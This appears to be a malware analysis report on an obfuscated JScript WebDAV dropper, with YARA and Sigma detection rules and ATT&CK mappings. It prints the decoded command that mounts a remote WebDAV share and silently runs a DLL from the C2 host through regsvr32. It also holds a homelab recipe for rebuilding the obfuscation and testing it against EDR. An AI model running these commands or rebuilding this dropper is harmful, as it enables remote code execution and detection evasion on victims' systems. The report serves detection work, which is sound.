unclassified-js-webdav-dropper: 385c2f0552de — Fifty-seventh confirmed sibling, 62-entry random-noise dictionary

Executive Summary

Single-line JScript dropper (95313143027999156.js, 12.7 KB) assembling a WebDAV net use + regsvr32 /s payload via a 62-entry random-noise dictionary lookup table. Fifty-seventh confirmed sibling in the unclassified-js-webdav-dropper cluster. Shares C2 host dailywebstats.com:8888 with six prior siblings but uses a completely new noise-key set.

What It Is

• File: 95313143027999156.js, 12,790 bytes, ASCII text, single-line, no line terminators ^[file.txt]
• Language: JScript (Windows Script Host)
• Obfuscation: Dictionary lookup-table (62 entries) with random lowercase noise keys on object qasxhtigcgmdn ^[strings.txt:1]
• Decoy: try{kzbayfdyvwvzrxgb();}catch(kkrvcfcbxnxoy){...} — undefined function in try block forces catch path; catch variable is noise, no nested try/catch decoys ^[strings.txt:1]

How It Works

1. Dictionary of 62 key/value pairs maps random noise strings (5–21 lowercase chars) to single ASCII characters ^[strings.txt:1]
2. Catch block assembles: Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand <b64>', 0, false) ^[strings.txt:1]
3. Base64-decoded PowerShell command: net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\30508287977215.dll
4. regsvr32 /s silently loads remote DLL over WebDAV/HTTP ^[strings.txt:1]

Decompiled Behavior

Static-only (JScript text file, no PE to decompile). Decoded via programmatic dictionary replacement:

Object: qasxhtigcgmdn
Keys: random noise (e.g. 'awcic'→'p', 'livarqlwafzir'→'z', 'nhwaliezihukwyno'→'f')
Assembly: WScript.Shell.Run('powershell -EncodedCommand ...', 0, false)

C2 Infrastructure

Interesting Tidbits

• 62-entry cardinality matches the alliterative and natural-language compound-phrase variants, but keys are pure random noise (like the 36-entry noise-key sub-cluster). This is the fifth 62-entry random-noise variant observed on dailywebstats.com:8888 infrastructure.
• No wordpad decoy, no sandbox gate, no nested try/catch decoys — stripped-down execution chain.
• Single domain for both mount and fetch (not split-C2).
• PowerShell -EncodedCommand wrapper present (not direct WScript.Shell.Run of net use).

How To Mess With It (Homelab Replication)

See unclassified-js-webdav-dropper entity page and js-dictionary-char-lookup-obfuscation technique page for build recipes. To replicate this specific dialect:

1. Generate 62 random lowercase noise strings (5–21 chars each).
2. Map each to one ASCII character needed for the payload.
3. Assemble via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand ' + b64, 0, false).
4. Test against EDR script analysis — static string extraction should return only noise.

Deployable Signatures

YARA rule

rule JS_WebDAV_Dropper_Dictionary_62Entry {
    meta:
        description = "JScript WebDAV dropper with dictionary lookup-table obfuscation (62+ entries)"
        author = "PacketPursuit"
        date = "2026-07-12"
        sha256 = "385c2f0552de84ad8fb34a327ecc025b59de267a1e16f4ecd109778a54170af6"
    strings:
        $dict_pattern = /=\[\];[a-z]{5,21}\['[a-z]{5,21}'\]='[a-zA-Z0-9]'/
        $func_return_this = "Function(''+"
        $wscript_create = "WScript" nocase
        $davwwwroot = "davwwwroot" nocase
        $regsvr32 = "regsvr32" nocase
    condition:
        filesize < 20KB and
        #dict_pattern > 55 and
        $func_return_this and
        any of ($wscript_create, $davwwwroot, $regsvr32)
}

Sigma rule

title: WebDAV DLL Sideloading via Regsvr32
logsource:
    category: process_creation
    product: windows
detection:
    selection_regsvr32:
        CommandLine|contains:
            - 'regsvr32'
            - '/s'
            - 'DavWWWRoot'
    selection_netuse:
        CommandLine|contains:
            - 'net use'
            - 'DavWWWRoot'
    condition: selection_regsvr32 or selection_netuse
falsepositives:
    - Legitimate IT administration using WebDAV for software deployment
level: high

IOC list

Behavioral fingerprint

This JScript dropper builds a 62-entry character dictionary using random lowercase noise keys, then assembles a PowerShell -EncodedCommand via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](). The decoded command mounts a WebDAV share at \\dailywebstats.com@8888\DavWWWRoot\ and executes regsvr32 /s against a remote DLL (30508287977215.dll). No decoy applications, no sandbox gates, no persistence — a one-shot remote DLL registration.

Detection Signatures

• MITRE ATT&CK: T1059.005 (Visual Basic / JScript), T1059.001 (PowerShell), T1218.010 (Regsvr32), T1071.001 (Web Protocols), T1105 (Ingress Tool Transfer), T1027 (Obfuscated Files or Information)

References

• unclassified-js-webdav-dropper — entity page for this family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation engine
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• ATT&CK T1218.010: https://attack.mitre.org/techniques/T1218/010/

Provenance

• file.txt — file(1) output (ASCII text, very long lines, no line terminators)
• strings.txt — raw payload (dictionary assignments + assembled command)
• capa.txt — unsupported file type (script, not PE)
• binwalk.txt — no embedded artefacts
• triage.json — triage metadata
• Manual decoding via Python script: dictionary extraction, JS concat evaluation, base64 decode of PowerShell command
• Decoded command verified: net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\30508287977215.dll